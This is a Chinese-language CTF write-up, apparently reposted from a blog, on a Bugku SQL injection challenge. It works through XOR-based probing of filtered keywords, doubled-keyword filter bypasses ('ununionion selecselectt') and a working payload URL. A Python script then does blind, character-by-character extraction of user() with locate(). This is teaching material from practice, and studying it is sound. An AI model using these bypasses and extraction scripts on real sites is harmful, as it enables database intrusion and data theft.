Bugku的web题目(多次)的解题

本文分享了一次解决复杂SQL注入问题的经历,详细介绍了如何利用异或注入等技巧绕过过滤,并最终找到隐藏的FLAG。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1342730-20180307182126998-1359826262.png
这道题目我弄了好久,最后问了朋友,然后在朋友的帮助下,将flag找到了
这里写一下解题方法,记录一下

一进到这道题,看到了php?id=1,就很熟悉,很有可能是一道sql注入的题目,肯定是要试一下最简单的测试,(哪怕知道不可能是什么都没有过滤)
1342730-20180307182139611-1553828902.png
单引号出错

1342730-20180307182437517-1957050567.png
多加一个%23,发现不出错了

1342730-20180307182512989-183185296.png
加上’ and 1=1%23
又出错了,可能是过滤了,但是不知道过滤了什么

这里有一个很好的方法知道过滤的是什么
使用异或注入
1342730-20180307182526136-1925743458.png

在id=1后面输入 '^(0)^'
发现不出错,那就将0换成1=1
如果出错,那就是成功了
1342730-20180307182531671-518749610.png

通过验证是可以的
也就是说,如果括号里面的判断是假的,那么页面就会显示正确
那么同理,如果我修改里面的内容为length(‘union’)!=0
如果页面显示正确,那就证明length(‘union’)是等于0的,也就是union被过滤了
1342730-20180307182543753-607131952.png

发现确实是这样,那就可以在这里进行判断,看看到底那些函数被过滤了
最后发现union,select,or,and被过滤了
limit,from没有被过滤

尝试绕过过滤,既然union这些都是被过滤掉了
那构造ununionion 一旦union被过滤,删除了,那剩下来的还是union,这样就可以起到作用了
1342730-20180307182551577-678343444.png

经过测试,用那个方法,确实可以
最终的payload为
http://120.24.86.145:9004/1ndex.php?id=1' anandd 1=2 uniounionn selecselectt 1,2%23
还是一个回显的
1342730-20180307182557347-1755397323.png

然后测试,找到了一个表为flag1,列名为flag1
1342730-20180307182607000-404526086.png

出来一串不知道是什么东西的数据
然后就继续查找,因为提示说有2个flag,那就是还有一个
最后在address这个列里面找到一个网址
1342730-20180307182612388-662692446.png

点击进去发现
这道题还没有做完,前面的只是为了找这个链接……
1342730-20180307182618651-407264276.png

这里还是一个考注入,那就常规测试一下,加上单引号
1342730-20180307182624154-867205866.png

出现报错,还是最常见的报错,那就是要%23注析掉了
1342730-20180307182628124-1268517589.png

然后继续测试其他的
1342730-20180307182632611-333562694.png

1=2出错
1342730-20180307182638875-271249602.png

1=1正常
1342730-20180307182648697-528743860.png

Order by 2也正常
一切都好顺利
1342730-20180307182721140-2113339843.png

' union select 1,2%23
出现了过滤,把union过滤了
用之前的方法绕过
1342730-20180307182730305-1249797367.png

' uniunionon select 1,2%23
发现把select也吃掉了

那就测试一下看看还有那些函数被过滤了
直接在id后面输入函数就可以知道,因为有回显我们输入的数据
1342730-20180307182744825-709637476.png

id=1 union select limit from and or where if sleep substr ascii
发现 union sleep substr被过滤了
那就是不能回显,substr也不能用了

我这里用了一个不常用的函数locate()
直接判断查出来的数据里面有那些字符,然后将它们按顺序排序

def user():
    flag =''
    for j in xrange(1, 100):
        temp = '!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./1234567890`~'
        key = 0
        for i in temp:
            url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',(select user()),"+str(j)+"))="+str(j)+"%23"
            r1 = rs.get(url)
            # print url
            if "Hello" in r1.text:
                print str(i)+" -----"+str(j)
                flag += str(i)
                key = 1
        if key ==0:
            print "[*] : " + flag
            break  

1342730-20180307183050459-2072115364.png

完整代码在我的GitHub里面有

GitHub

转载于:https://www.cnblogs.com/nienie/p/8524519.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值